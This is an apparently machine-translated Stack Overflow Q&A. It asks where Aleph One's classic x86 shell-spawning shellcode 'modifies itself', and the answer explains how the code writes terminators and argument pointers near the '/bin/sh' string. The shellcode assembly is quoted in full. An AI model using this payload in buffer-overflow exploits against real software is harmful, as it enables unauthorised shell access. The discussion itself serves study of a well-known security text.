Aleph的shell代码在哪里改变?

时间:2014-12-13 14:14:41

标签: c assembly stack-overflow

我正在阅读"粉碎堆栈以获得乐趣和利润"通过Aleph one, 到达这个地方:

    jmp    0x2a                     # 2 bytes
    popl   %esi                     # 1 byte
    movl   %esi,0x8(%esi)           # 3 bytes
    movb   $0x0,0x7(%esi)           # 4 bytes
    movl   $0x0,0xc(%esi)           # 7 bytes
    movl   $0xb,%eax                # 5 bytes
    movl   %esi,%ebx                # 2 bytes
    leal   0x8(%esi),%ecx           # 3 bytes
    leal   0xc(%esi),%edx           # 3 bytes
    int    $0x80                    # 2 bytes
    movl   $0x1, %eax               # 5 bytes
    movl   $0x0, %ebx               # 5 bytes
    int    $0x80                    # 2 bytes
    call   -0x2f                    # 5 bytes
    .string \"/bin/sh\"             # 8 bytes
------------------------------------------------------------------------------

Looks good. To make sure it works correctly we must compile it and run it.
**But there is a problem.  Our code modifies itself**, but most operating system
mark code pages read-only.

我的问题是这段代码修改自己的位置(以及如何)? [我不太了解装配]

谢谢!

1 个答案:

答案 0 :(得分:2)

第一条指令跳转到代码末尾的call,该代码回调到弹出由call放置在堆栈上的返回地址的第二条指令。因此esi指向最后的字符串。如您所见,接下来的3条指令相对于esi写入内存,设置参数指针,零终止字符串和参数列表。这就是自我修改所指的内容。它有点误导,因为它不是修改代码,而是修改数据。在独立测试期间,数据是.text部分的一部分,该部分通常是只读的,但可以轻松编写。请注意,在实际使用过程中,这将在堆栈中,该堆栈是可写的,但不可执行,因此您会遇到不同的问题。